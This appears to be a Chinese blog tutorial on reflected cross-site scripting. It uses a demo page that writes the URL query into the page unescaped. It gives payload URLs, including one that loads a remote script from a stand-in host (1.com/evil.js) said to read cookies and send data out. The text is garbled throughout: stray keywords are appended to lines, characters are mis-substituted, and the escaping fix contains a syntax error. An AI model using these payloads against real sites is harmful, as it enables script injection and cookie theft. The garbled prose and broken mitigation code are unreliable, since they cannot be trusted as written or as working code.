js跨站脚本

xss
跨站脚本,称为xss这个术语用来表示一类的安全问题,指攻击者向目标web站点注入html标签或者脚本。html

来一个小栗子

 substring 返回介于二者之间的字符串,若是省去最后一个参数,则直接以length为填充

window.location.search 返回/后面内容包括问号web

返回?后面的参数
window.location.search.substring(1)sql

decodeURIComponent() 将url进行解码,返回解码后的utf-8格式chrome

<!doctype html>
<html>
<head>
    <title>这是标题</title>
    <meta charset="utf-8">
</head>
<body>
    <script>
        var name = decodeURIComponent(window.location.search.substring(1));    // 获取参数
        console.log(name);
        document.write("hello " + name);
    </script>
</body>
</html>

访问跨域

http://abc.com:8887/?%20word
本地使用web server for chrome 完成了本地静态服务器的搭建,使用host文件,强制修改home.abc.com 以及 abc.com 到 127.0.0.1 完成域名的绑定,由于js脚本不能本地运行,由于有跨域的限制

页面输出浏览器

hello word

这是一个灰常正经的页面。
下面若是尝试输入安全

http://abc.com:8887/?%3Cscript%3Ealert("David")%3C/script

事实上如今的浏览器很智能了。。已经自动解析了。已经自动暂停解析了,最后加上%3e被浏览器拦截,自动的,去掉之后,因为容错机制,自动生成
好吧,要不是这容错机制,xss还无法实验呢。无奈,如今太智能了,小白的手法,已经不行喽服务器

<script>
</script>

致使能容许。好吧,去掉自动拦截,chrome直接禁止访问了。╮(╯▽╰)╭
https://developer.mozilla.org...
使用的是预解析,自动平衡树cookie

此时script变身成为xss

document.write('hello ' + <script>alert("David")</script)

好啦,接着,就会出现一个弹窗,David
由于使用这个url自动生成一个另一个脚本,因为浏览器自动的安全措施,因此使用浏览器页面预解析,写一个不平衡的树,初始浏览器解析的时候自动添加上

<script>
</script>
事实上,如今基本上都会屏蔽掉的,和sql注入同样,都是很是小白的攻击手法。╮(╯▽╰)╭

致使出现弹窗,xss完成
接着下面还有
使用src引入一个脚本。

http://abc.com:8887/?%3Cscript%20src=%E2%80%9Chttps://1.com/evil.js%E2%80%9D%3E%3C/script%3E

这样就完成了一次脚本的注入。会将其余站点的脚本,经过链接进行注入。
能够对该站点的内容作任何的操做,以及读取cookie,以及将数据发送回站点

事实上浏览器插件就是这样干的,在页面中加入js脚本,经过更改页面的js来达到对页面修改的目的

更多内容 https://www.ibm.com/developer...

预防

经过使用replace()所有替换为实体便可。

name = name.replace(/</g, "&lt;"),replace(/>/g, "&gt;");

总结

xss和sql注入同样,属于小白攻击法,要说简单也很简单,要说难也很难

拒绝服务攻击

若是一个站点无限弹窗,浏览器会卡死。包括使用js挖矿什么的,都不值得一提了。